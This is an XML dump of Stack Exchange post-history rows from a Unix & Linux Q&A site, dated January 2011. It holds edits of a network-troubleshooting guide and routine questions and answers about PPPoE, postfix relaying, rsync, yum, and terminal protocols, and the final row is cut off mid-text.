  <row Id="13499" PostHistoryTypeId="5" PostId="5962" RevisionGUID="7fa8081c-391b-4550-9b58-85b092445529" CreationDate="2011-01-16T14:30:22.797" UserId="2180" Comment="added 79 characters in body; added 232 characters in body" Text="#IP Network Troubleshooting&#xD;&#xA;&#xD;&#xA;There are a few standard things you can look for when you are experiencing network connectivity issues. These are listed here from a top-down, or least fundamental to most fundamental issues.&#xD;&#xA;&#xD;&#xA;##Is access down to one site and not others?&#xD;&#xA;&#xD;&#xA;If you've just noticed a website or service is down, try others before concluding that you are the one experiencing problems, and not the website you are trying to visit.&#xD;&#xA;&#xD;&#xA;##Is DNS not working?&#xD;&#xA;&#xD;&#xA;DNS resolves domain names to ip addresses. If it isn't working, you may be able to access services by ip address but not domain names. To test for this, use&#xD;&#xA;&#xD;&#xA;    ping -c 2 8.8.8.8&#xD;&#xA;&#xD;&#xA;8.8.8.8 is the IP address of a Google server on the internet that should always be up; it can be replaced by any IP address known to be on the target network. This command sends two ICMP echo packet to a specific IP address; it doesn't rely on DNS to work. If the command works, replace the IP address with a domain name known to be working on the target network, like `ping -c 2 yahoo.com`; if this doesn't work, the problem is likely to be DNS. As a quick fix, you can try opening `/etc/resolv.conf` and adding `nameserver 8.8.8.8` after the last line (note, you may need root privileges to edit the file). That address happens to be a DNS server, and adding it to resolv.conf will tell your system to use it. If that doesn't work, you should submit another, more specific question here.&#xD;&#xA;&#xD;&#xA;##Is there a route to the network?&#xD;&#xA;&#xD;&#xA;To reach a network, your system has to know how to reach it. To see the routes your system knows about, we need a couple of commands.&#xD;&#xA;&#xD;&#xA;   ip rule show&#xD;&#xA;&#xD;&#xA;This command lists any routing rules that are setup on your system. If you see only three entries (lines) and they end in 'local', 'main', and 'default', then you have only the standard rules setup. If there are any other entries, note them; in particular, the last word of the line - they are names of routing tables.&#xD;&#xA;&#xD;&#xA;   ip route show&#xD;&#xA;&#xD;&#xA;This command shows routes setup on the main table. There should usually be an entry that directs traffic to the target network. For internet connections, it is a route that looks like `default [via address] dev [dev]...` where you may or may not have the 'via' part, and '[dev]' may be something like 'eth0' or 'wlan0' that represents which network interface the network is on.&#xD;&#xA;&#xD;&#xA;Previously I said that there should *usually* be an entry there. If you had other tables setup and a rule pointing to them to look at the entries in other tables by using the following, replacing '[table name]' with one of the names you noted in the previous (ip rule) step.&#xD;&#xA;&#xD;&#xA;    ip route show table [table name]&#xD;&#xA;&#xD;&#xA;If you do not have a route to the target network, you need to add one (or modify your network setup so it automatically adds the correct one for you). If you don't know how, ask a more specific question here, armed with this knowledge.&#xD;&#xA;&#xD;&#xA;##Is the network interface up?&#xD;&#xA;&#xD;&#xA;To be able to use a network interface it has to be up and it should have an address. You can find if it is up by using:&#xD;&#xA;&#xD;&#xA;    ip link show&#xD;&#xA;&#xD;&#xA;This lists the network interfaces on your system. You should see at least two, one called &quot;lo&quot; and another entry for each network interface on your system. If you have a wired and a wireless interface, you might see 'lo', 'eth0', and 'wlan0' or 'lo', 'eth0', and 'eth1' whatever they are - that first bit after the entry index is the name of the network interface. For each of the interface entries, you should also see either 'state UP', 'state DOWN', or 'state UNKNOWN'. If the network interface that is connected to the target network is not present, it can be that the hardware driver isn't loaded or working (for actual network cards) or for PPP connections, that there is no connection established. If it says the link is down or unknown, the interface needs to be brought up. This is usually done by your system's networking setup - if it's not up, you can ask a more specific question here with this in mind. It can be done manually by the following command, replacing '[dev]' with the interface name (you may need root privileges).&#xD;&#xA;&#xD;&#xA;    ip link set dev [dev] up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Does the network interface have an address?&#xD;&#xA;&#xD;&#xA;In addition to having the interface up, it needs to have an IP address. You can find the addresses of your interfaces by running the following command.&#xD;&#xA;&#xD;&#xA;    ip address show&#xD;&#xA;&#xD;&#xA;You'll see an entry for each of your interfaces with all the addresses it has. Most entries will have a link address, the important part is the IP address. There should be a line labeled 'inet' with an address for the network interface connected to the target network. It should be added automatically by your networking setup; if it wasn't, a dhcp client may not be running, or the ppp daemon may not have added it - you should ask a more specific question here with this in mind. One can be added manually (but depending on the network may not work) by the following command, replacing '[ip address]' with an ip address appropriate for the network (which may be unknown if the network supplies IP addresses via DHCP or PPP) and replacing '[dev]' with the interface name.&#xD;&#xA;&#xD;&#xA;    ip address add [ip address] dev [dev]" />
  <row Id="13500" PostHistoryTypeId="5" PostId="3707" RevisionGUID="08416241-4f11-44f9-ba30-10d2cb8d9b4c" CreationDate="2011-01-16T15:22:29.747" UserId="1452" Comment="added 40 characters in body" Text="I seem to have found the solution.&#xD;&#xA;&#xD;&#xA;I deleted all the previous connections, deleted the configuration file from &lt;code&gt;/etc/network&lt;/code&gt; created by &lt;code&gt;pppoeconf&lt;/code&gt; and rebooted. Then I set up the wired connection (Automatic ethernet) using the static addresses (**update:** dynamic works now as well) but made sure it didn't have &quot;connect automatically&quot; checked in the configuration dialog. Then I created a DSL connection, but of all the settings, I only filled in the user name, service name and password for it. I checked &quot;available to all users&quot; and closed the settings dialog. Then from the &quot;connections&quot; applet on the panel, clicked the connection name. And it connected and worked.&#xD;&#xA;&#xD;&#xA;Nevertheless, after a couple of reboots, I'm noticing that sometimes it won't connect on the first &quot;click&quot;. It'll show notification &quot;Connection established&quot; but I won't have internet access. So I need to disconnect and retry a few times, and eventually it works." />
  <row Id="13501" PostHistoryTypeId="5" PostId="3707" RevisionGUID="22ec17c9-2a6d-4061-9d90-a4a6b65448d0" CreationDate="2011-01-16T15:30:57.283" UserId="1452" Comment="added 75 characters in body" Text="I seem to have found the solution.&#xD;&#xA;&#xD;&#xA;I deleted all the previous connections, deleted the configuration file from &lt;code&gt;/etc/network&lt;/code&gt; created by &lt;code&gt;pppoeconf&lt;/code&gt; and rebooted. Then I set up the wired connection (Automatic ethernet) using the static addresses (**update:** dynamic works now as well) but made sure it didn't have &quot;connect automatically&quot; checked in the configuration dialog. Then I created a DSL connection, but of all the settings, I only filled in the user name, service name and password for it. I checked &quot;available to all users&quot; and closed the settings dialog. Then from the &quot;connections&quot; applet on the panel, clicked the connection name. And it connected and worked.&#xD;&#xA;&#xD;&#xA;Nevertheless, after a couple of reboots, I'm noticing that sometimes it won't connect on the first &quot;click&quot;. It'll show notification &quot;Connection established&quot; but I won't have internet access. So I need to disconnect and retry a few times, and eventually it works.&#xD;&#xA;&#xD;&#xA;**Update:** I forgot to mention - I had to set the MTU to 1452 as well." />
  <row Id="13506" PostHistoryTypeId="5" PostId="5962" RevisionGUID="405ee534-58bb-41e2-be9c-4ec5ab06172e" CreationDate="2011-01-16T17:04:10.933" UserId="2180" Comment="Add note about Unix compatability of examples." Text="#IP Network Troubleshooting&#xD;&#xA;&#xD;&#xA;There are a few standard things you can look for when you are experiencing network connectivity issues. These are listed here from a top-down, or least fundamental to most fundamental issues.&#xD;&#xA;&#xD;&#xA;All the example `ip` commands shown here use a Linux-specific tool called iproute2. Many of the tasks can likely be done with `ifconfig` and `route`, but the syntax depends on the system. You can start looking for the correct command for your system on the [Rosetta Stone for Unix][1] (thanks @Gilles). &#xD;&#xA;&#xD;&#xA;##Is access down to one site and not others?&#xD;&#xA;&#xD;&#xA;If you've just noticed a website or service is down, try others before concluding that you are the one experiencing problems, and not the website you are trying to visit.&#xD;&#xA;&#xD;&#xA;##Is DNS not working?&#xD;&#xA;&#xD;&#xA;DNS resolves domain names to ip addresses. If it isn't working, you may be able to access services by ip address but not domain names. To test for this, use&#xD;&#xA;&#xD;&#xA;    ping -c 2 8.8.8.8&#xD;&#xA;&#xD;&#xA;8.8.8.8 is the IP address of a Google server on the internet that should always be up; it can be replaced by any IP address known to be on the target network. This command sends two ICMP echo packet to a specific IP address; it doesn't rely on DNS to work. If the command works, replace the IP address with a domain name known to be working on the target network, like `ping -c 2 yahoo.com`; if this doesn't work, the problem is likely to be DNS. As a quick fix, you can try opening `/etc/resolv.conf` and adding `nameserver 8.8.8.8` after the last line (note, you may need root privileges to edit the file). That address happens to be a DNS server, and adding it to resolv.conf will tell your system to use it. If that doesn't work, you should submit another, more specific question here.&#xD;&#xA;&#xD;&#xA;##Is there a route to the network?&#xD;&#xA;&#xD;&#xA;To reach a network, your system has to know how to reach it. To see the routes your system knows about, we need a couple of commands.&#xD;&#xA;&#xD;&#xA;   ip rule show&#xD;&#xA;&#xD;&#xA;This command lists any routing rules that are setup on your system. If you see only three entries (lines) and they end in 'local', 'main', and 'default', then you have only the standard rules setup. If there are any other entries, note them; in particular, the last word of the line - they are names of routing tables.&#xD;&#xA;&#xD;&#xA;   ip route show&#xD;&#xA;&#xD;&#xA;This command shows routes setup on the main table. There should usually be an entry that directs traffic to the target network. For internet connections, it is a route that looks like `default [via address] dev [dev]...` where you may or may not have the 'via' part, and '[dev]' may be something like 'eth0' or 'wlan0' that represents which network interface the network is on.&#xD;&#xA;&#xD;&#xA;Previously I said that there should *usually* be an entry there. If you had other tables setup and a rule pointing to them to look at the entries in other tables by using the following, replacing '[table name]' with one of the names you noted in the previous (ip rule) step.&#xD;&#xA;&#xD;&#xA;    ip route show table [table name]&#xD;&#xA;&#xD;&#xA;If you do not have a route to the target network, you need to add one (or modify your network setup so it automatically adds the correct one for you). If you don't know how, ask a more specific question here, armed with this knowledge.&#xD;&#xA;&#xD;&#xA;##Is the network interface up?&#xD;&#xA;&#xD;&#xA;To be able to use a network interface it has to be up and it should have an address. You can find if it is up by using:&#xD;&#xA;&#xD;&#xA;    ip link show&#xD;&#xA;&#xD;&#xA;This lists the network interfaces on your system. You should see at least two, one called &quot;lo&quot; and another entry for each network interface on your system. If you have a wired and a wireless interface, you might see 'lo', 'eth0', and 'wlan0' or 'lo', 'eth0', and 'eth1' whatever they are - that first bit after the entry index is the name of the network interface. For each of the interface entries, you should also see either 'state UP', 'state DOWN', or 'state UNKNOWN'. If the network interface that is connected to the target network is not present, it can be that the hardware driver isn't loaded or working (for actual network cards) or for PPP connections, that there is no connection established. If it says the link is down or unknown, the interface needs to be brought up. This is usually done by your system's networking setup - if it's not up, you can ask a more specific question here with this in mind. It can be done manually by the following command, replacing '[dev]' with the interface name (you may need root privileges).&#xD;&#xA;&#xD;&#xA;    ip link set dev [dev] up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Does the network interface have an address?&#xD;&#xA;&#xD;&#xA;In addition to having the interface up, it needs to have an IP address. You can find the addresses of your interfaces by running the following command.&#xD;&#xA;&#xD;&#xA;    ip address show&#xD;&#xA;&#xD;&#xA;You'll see an entry for each of your interfaces with all the addresses it has. Most entries will have a link address, the important part is the IP address. There should be a line labeled 'inet' with an address for the network interface connected to the target network. It should be added automatically by your networking setup; if it wasn't, a dhcp client may not be running, or the ppp daemon may not have added it - you should ask a more specific question here with this in mind. One can be added manually (but depending on the network may not work) by the following command, replacing '[ip address]' with an ip address appropriate for the network (which may be unknown if the network supplies IP addresses via DHCP or PPP) and replacing '[dev]' with the interface name.&#xD;&#xA;&#xD;&#xA;    ip address add [ip address] dev [dev]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bhami.com/rosetta.html" />
  <row Id="13507" PostHistoryTypeId="6" PostId="5959" RevisionGUID="92fd1a19-b4c1-41b5-81f8-c6132aa94197" CreationDate="2011-01-16T17:16:37.193" UserId="1207" Comment="edited tags" Text="éprocessàérsyncà" />
  <row Id="13508" PostHistoryTypeId="2" PostId="5964" RevisionGUID="87005c32-c36d-4f32-bb1e-62bbc158d4cb" CreationDate="2011-01-16T18:23:46.290" UserId="1836" Text="i just installed suse 11.3, but cannot update system. Update Applet says: &#xD;&#xA;&#xD;&#xA;PackageKit Error repo-not-available: Failed to download /media.1/media from http://download.opensuse.org/distribution/11.3/repo/oss/&#xD;&#xA;&#xD;&#xA;I filled in my details in yast-&gt;proxy, firefox works fine with the same details. My laptop is packard bell with ati graphics card which I am yet to install. Could it be the network card?" />
  <row Id="13509" PostHistoryTypeId="1" PostId="5964" RevisionGUID="87005c32-c36d-4f32-bb1e-62bbc158d4cb" CreationDate="2011-01-16T18:23:46.290" UserId="1836" Text="suse cannot install software" />
  <row Id="13510" PostHistoryTypeId="3" PostId="5964" RevisionGUID="87005c32-c36d-4f32-bb1e-62bbc158d4cb" CreationDate="2011-01-16T18:23:46.290" UserId="1836" Text="énetworkingàéopensuseà" />
  <row Id="13513" PostHistoryTypeId="5" PostId="5964" RevisionGUID="29cfd026-6742-49ba-a08b-292c958773bc" CreationDate="2011-01-16T19:18:08.040" UserId="73" Comment="added 14 characters in body" Text="I just installed suse 11.3, but cannot update the system. Update Applet says: &#xD;&#xA;&#xD;&#xA;&gt; PackageKit Error repo-not-available: Failed to download /media.1/media from http://download.opensuse.org/distribution/11.3/repo/oss/&#xD;&#xA;&#xD;&#xA;I filled in my details in yast-&gt;proxy, and Firefox works fine with the same details. My laptop is a Packard Bell with ATI graphics card which I am yet to install. Could it be the network card?&#xD;&#xA;" />
  <row Id="13514" PostHistoryTypeId="5" PostId="5959" RevisionGUID="e42ffb5d-fd5c-46ab-b0e4-45c1414d3cdd" CreationDate="2011-01-16T19:18:46.510" UserId="73" Comment="added 29 characters in body" Text="How can I pause an rsync that's running? &#xD;&#xA;&#xD;&#xA;First time I did &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to kill it and used the `-P` flag to run again. Is this prone to corrupt the current file transfer?&#xD;&#xA;&#xD;&#xA;Second time I simply put MacOS to sleep (by closing the lid). Looking at the running process I can see 2 (not sure why) with a status of 'S'.&#xD;&#xA;&#xD;&#xA;Tried using &#xD;&#xA;&#xD;&#xA;    kill -SIGCONT&#xD;&#xA;&#xD;&#xA;to resume the process, but it has no effect." />
  <row Id="13515" PostHistoryTypeId="5" PostId="5812" RevisionGUID="65445658-a303-4094-839c-54f6f5317f21" CreationDate="2011-01-16T19:25:09.750" UserId="3309" Comment="Added instructions for postfix client auth and supporting TLS." Text="IMHO, the easiest way to do this is to install postfix (if debconf asks you questions, pick &quot;internet site&quot;), then run these commands:&#xD;&#xA;&#xD;&#xA;    postconf -e relayhost=other.mailserver.com&#xD;&#xA;    postconf -e mailname=my.domainname.com&#xD;&#xA;&#xD;&#xA;As long as the SMTP server specified in `relayhost` doesn't require authentication, allows you to relay or is a valid destination for the recipient address this will work.&#xD;&#xA;&#xD;&#xA;The `mailname` parameter will be the default domain name. So if you send mail to foo it will go to foo@my.domainname.com. Mail sent by user bar will be from bar@my.domainname.com.&#xD;&#xA;&#xD;&#xA;If you do need to authenticate and want to support TLS, also run the following commands:&#xD;&#xA;&#xD;&#xA;    postconf -e smtp_tls_security_level=may&#xD;&#xA;    postconf -e smtp_sasl_auth_enable=yes&#xD;&#xA;    postconf -e smtp_sasl_password_maps=pcre:/etc/postfix/sasl_password_maps&#xD;&#xA;&#xD;&#xA;Then in `/etc/postfix/sasl_password_maps` have this content:&#xD;&#xA;&#xD;&#xA;    /./ username:password&#xD;&#xA;&#xD;&#xA;All mail will be sent to your relayhost with the specified username and password." />
  <row Id="13516" PostHistoryTypeId="2" PostId="5966" RevisionGUID="0793c062-a202-4b7e-a59d-63a48e5849ce" CreationDate="2011-01-16T19:26:30.920" UserId="3309" Text="IMHO, the easiest way to do this is to install postfix (if debconf asks you questions, pick &quot;internet site&quot;), then run these commands:&#xD;&#xA;&#xD;&#xA;    postconf -e relayhost=other.mailserver.com&#xD;&#xA;    postconf -e mailname=my.domainname.com&#xD;&#xA;&#xD;&#xA;As long as the SMTP server specified in `relayhost` doesn't require authentication, allows you to relay or is a valid destination for the recipient address this will work.&#xD;&#xA;&#xD;&#xA;The `mailname` parameter will be the default domain name. So if you send mail to foo it will go to foo@my.domainname.com. Mail sent by user bar will be from bar@my.domainname.com.&#xD;&#xA;&#xD;&#xA;If you do need to authenticate and want to support TLS, also run the following commands:&#xD;&#xA;&#xD;&#xA;    postconf -e smtp_tls_security_level=may&#xD;&#xA;    postconf -e smtp_sasl_auth_enable=yes&#xD;&#xA;    postconf -e smtp_sasl_password_maps=pcre:/etc/postfix/sasl_password_maps&#xD;&#xA;&#xD;&#xA;Then in `/etc/postfix/sasl_password_maps` have this content:&#xD;&#xA;&#xD;&#xA;    /./ username:password&#xD;&#xA;&#xD;&#xA;All mail will be sent to your relayhost with the specified username and password." />
  <row Id="13517" PostHistoryTypeId="25" PostId="5964" RevisionGUID="6d97ad81-7dcd-422d-aa8a-0c7474cd88da" CreationDate="2011-01-16T19:55:35.887" Comment="http://twitter.com/#!/StackUnix/status/26729297360191488" />
  <row Id="13518" PostHistoryTypeId="2" PostId="5967" RevisionGUID="d038bc90-5504-4731-93a3-594c0dee419e" CreationDate="2011-01-16T19:56:26.353" UserId="3309" Text="Run `rsync` with the `--partial` flag. It will then keep partial transfers and resume partial files when started." />
  <row Id="13519" PostHistoryTypeId="2" PostId="5968" RevisionGUID="e6239885-24f6-4f33-b893-b7b6aada18a8" CreationDate="2011-01-16T20:03:34.413" UserId="3309" Text="On Linux `/bin` and `/usr/bin` are still separate because it is common to have `/usr` on a separate partition. In `/bin` is all the commands that you will need if you only have `/` mounted.&#xD;&#xA;&#xD;&#xA;On Solaris (and probably others) `/bin` is a symlink to `/usr/bin`.&#xD;&#xA;&#xD;&#xA;Of particular note, the statement that `/bin` is for &quot;system administrator&quot; commands and `/usr/bin` is for user commands is ***not true*** (unless you think that `bash` and `ls` are for admins only, in which case you have a lot to learn). Administrator commands are in `/sbin` and `/usr/sbin`." />
  <row Id="13520" PostHistoryTypeId="2" PostId="5969" RevisionGUID="4c2a4b63-6a15-4a93-9fd1-7e21ae614e86" CreationDate="2011-01-16T22:29:24.920" UserId="3867" Text="cPanel keeps track own copy of Perl. The default install adds that exclude rule. I think they do it because many people rely heavily on cPanel working and doing all server the work and there may have been issues in the past regarding the packages and Perl.&#xD;&#xA;&#xD;&#xA;You can install git by using the `--disableexcludes` option to disable the excludes on the repository:&#xD;&#xA;&#xD;&#xA;    yum --disableexcludes=epel install git" />
  <row Id="13521" PostHistoryTypeId="2" PostId="5970" RevisionGUID="bfa81101-e2ea-4376-9080-d2d133c53b0c" CreationDate="2011-01-16T22:29:46.760" UserId="3227" Text="[CINT][1] is another C &amp; C++ interpreter. I don't know if you'd want to have to wrap commands in &#xD;&#xA;&#xD;&#xA;    system(&quot;foo&quot;);&#xD;&#xA;&#xD;&#xA;though. Maybe a macro like the following (untested)&#xD;&#xA;&#xD;&#xA;    #define S(cmd) system(cmd);&#xD;&#xA;&#xD;&#xA;might be useful in that approach, e.g., `S(&quot;cp a b&quot;)`&#xD;&#xA;&#xD;&#xA;Maybe not :)&#xD;&#xA;&#xD;&#xA;  [1]: http://root.cern.ch/drupal/content/cint" />
  <row Id="13522" PostHistoryTypeId="25" PostId="5950" RevisionGUID="094b63b6-b446-4210-bb73-5b28ade37d3d" CreationDate="2011-01-16T22:55:35.757" Comment="http://twitter.com/#!/StackUnix/status/26774595432349696" />
  <row Id="13523" PostHistoryTypeId="2" PostId="5971" RevisionGUID="b374ba25-24f4-4d6f-8ab0-b0968f073e8b" CreationDate="2011-01-17T01:26:56.617" UserId="3309" Text="Do you have a valid network link? Can you reach other websites? Is there a firewall? Can you resolve hostnames, in particular that one?" />
  <row Id="13524" PostHistoryTypeId="2" PostId="5972" RevisionGUID="775777c6-127f-48a5-88dd-4c2713b0a604" CreationDate="2011-01-17T01:49:11.150" UserId="3309" Text="Debian can be quite small. During the install when you get to tasksel, unselect everything. You'll get a *very* minimal system taking up only 512M. Even then, you can still remove packages that you won't use." />
  <row Id="13525" PostHistoryTypeId="25" PostId="5958" RevisionGUID="1f61f00d-2982-468e-aaeb-e7fff4ebee44" CreationDate="2011-01-17T01:55:35.903" Comment="http://twitter.com/#!/StackUnix/status/26819894418874368" />
  <row Id="13526" PostHistoryTypeId="2" PostId="5973" RevisionGUID="dcb4dbf0-90a3-45a4-b22e-c89c4bb880a4" CreationDate="2011-01-17T02:19:06.693" UserId="3309" Text="You also need to set `-r` for recursive and `-l X` for link depth, where X is an integer. It's also a good idea to set `-A` to set the list of acceptable file types to keep (otherwise you only get HTML files)." />
  <row Id="13527" PostHistoryTypeId="25" PostId="5881" RevisionGUID="c45e52d8-7957-4354-a8e1-cb62e15d9bfa" CreationDate="2011-01-17T04:55:36.810" Comment="http://twitter.com/#!/StackUnix/status/26865196735660032" />
  <row Id="13528" PostHistoryTypeId="2" PostId="5974" RevisionGUID="70b26cc4-6f0f-4c89-87e7-e869eb5b511a" CreationDate="2011-01-17T07:06:12.767" UserId="1535" Text="There are some packages available for [node](http://nodejs.org/) that facilitate system scripting.&#xD;&#xA;&#xD;&#xA;The [node package manager](http://npmjs.org) is probably the easiest way to install such packages; node itself can be built from source (with the v8 engine it runs on) or installed via some system package managers.&#xD;&#xA;&#xD;&#xA;You may need to learn to use evented I/O in order to get much done." />
  <row Id="13529" PostHistoryTypeId="2" PostId="5975" RevisionGUID="74a435bb-e4dd-4a54-b29b-2c6645ad1f35" CreationDate="2011-01-17T07:32:48.533" UserId="3686" Text="I've got 75 documents in KWD format, from my old days using KDE 3.x. I'd like to convert them to ODT or RTF, so I can edit them with Open Office, Abiword or the newer KWord, but I haven't found a good/quick way to do it.&#xD;&#xA;&#xD;&#xA;Opening them in an old version of KWord and exporting them works, but if I have to do it for the 75 of them it'll take me ages. I've tried using koconverter, a batch converter for KOffice documents included in KDE libs, but neither the one from KOffice 1.6.x nor the one from 2.2.x works.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="13530" PostHistoryTypeId="1" PostId="5975" RevisionGUID="74a435bb-e4dd-4a54-b29b-2c6645ad1f35" CreationDate="2011-01-17T07:32:48.533" UserId="3686" Text="Export from KWD (old KWord/KOffice document format) to anything else" />
  <row Id="13531" PostHistoryTypeId="3" PostId="5975" RevisionGUID="74a435bb-e4dd-4a54-b29b-2c6645ad1f35" CreationDate="2011-01-17T07:32:48.533" UserId="3686" Text="ékdeàédocumentsà" />
  <row Id="13532" PostHistoryTypeId="25" PostId="5975" RevisionGUID="6f3af02f-21b3-4bc6-8f8d-720f78656877" CreationDate="2011-01-17T07:55:36.890" Comment="http://twitter.com/#!/StackUnix/status/26910495592161281" />
  <row Id="13533" PostHistoryTypeId="5" PostId="4918" RevisionGUID="1badd6ee-6307-49f5-b627-95c81b9636a6" CreationDate="2011-01-17T08:52:42.433" UserId="146" Comment="update links to point to new oracle docs site now that docs.sun.com is gone" Text="Updates for Solaris 11 Express are only available if you purchase a support contract.  There are no free updates at this time, so registering won't help there.&#xD;&#xA;&#xD;&#xA;The [release notes][1], which the download page tells you to read before installing, warn you about [the expired root password issue][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://download.oracle.com/docs/cd/E19963-01/821-1479/index.html &quot;Oracle Solaris 11 Express Release Notes&quot;&#xD;&#xA;  [2]: http://download.oracle.com/docs/cd/E19963-01/821-1479/gklaa/index.html#6nmf95cuk" />
  <row Id="13535" PostHistoryTypeId="5" PostId="5802" RevisionGUID="efd2d9f6-6dea-4140-8475-a52b773bf5c9" CreationDate="2011-01-17T10:41:43.193" UserId="138" Comment="a grammar fix, and a clarity improvement" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too. (&lt;a href=&quot;http://www.telnetbbsguide.com/&quot;&gt;Still do&lt;/a&gt;, actually.)&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some form. Sometimes you see this called the VT102 protocol, that being a later cost-reduced &amp;mdash; and therefore popular &amp;mdash; version of the same terminal design. Usually terminal emulators actually support one of the extensions to this protocol, introduced with newer DEC terminals. The most common are the VT220 and VT320 protocols. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; These protocols are a backwards-compatible series, so sometimes you'll have a terminal emulator that says it supports VT320, but is missing a few things, yet is still useful because it supports enough of that protocol to work with your programs. If you only use the VT220 subset of the protocol, that terminal emulator may be fully functional even though you've told `curses` (or whatever) that you want programs using it to use the VT320 protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses an extended variant of the ANSI terminal protocol, in the same spirit as the `xterm` protocols. Most of its extensions have to do with the differences between a PC and a glass terminal. For example, the IBM keyboard has some keys not on a DEC VT-whatever. (And vice versa.)&#xD;&#xA;&#xD;&#xA; Like Linux, some Unix systems have their own console terminal protocol, too. There's the `scoansi` ANSI X3.64 variant for SCO Unixes, for example.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer days. Although Wyse terminals were able to emulate the VT100 and other popular terminal protocols, they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal.&#xD;&#xA;&#xD;&#xA;Because so many of these protocols are ANSI X3.64 variants, and because the ubiquitous ASCII and UTF-8 character coding standards take care of so much else, an incorrect `TERM` variable isn't typically catastrophic. Things that tend to break are extended keys like Home and Page Up, Alt-whatever key combinations, and typographical display features like color, boldface, etc." />
  <row Id="13536" PostHistoryTypeId="25" PostId="5872" RevisionGUID="557d29b6-8043-4153-ab64-a9b5eb958b15" CreationDate="2011-01-17T10:55:37.080" Comment="http://twitter.com/#!/StackUnix/status/26955794805170176" />
  <row Id="13537" PostHistoryTypeId="2" PostId="5977" RevisionGUID="b2e116e5-9f81-4e3c-b53d-cc360deb3ae0" CreationDate="2011-01-17T13:00:44.333" UserId="3881" Text="i want learn linux file hierarchy , how this OS works at deeper level.&#xD;&#xA;i'm looking for ebook or webpage to learn that? " />
  <row Id="13538" PostHistoryTypeId="1" PostId="5977" RevisionGUID="b2e116e5-9f81-4e3c-b53d-cc360deb3ae0" CreationDate="2011-01-17T13:00:44.333" UserId="3881" Text="resources to learn linux architecture in detail ?" />
  <row Id="13539" PostHistoryTypeId="3" PostId="5977" RevisionGUID="b2e116e5-9f81-4e3c-b53d-cc360deb3ae0" CreationDate="2011-01-17T13:00:44.333" UserId="3881" Text="éarchölinuxà" />
  <row Id="13540" PostHistoryTypeId="5" PostId="5802" RevisionGUID="2f527b04-160a-4c8d-9918-7fb44c934d3f" CreationDate="2011-01-17T13:30:09.493" UserId="138" Comment="grammar fix" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a 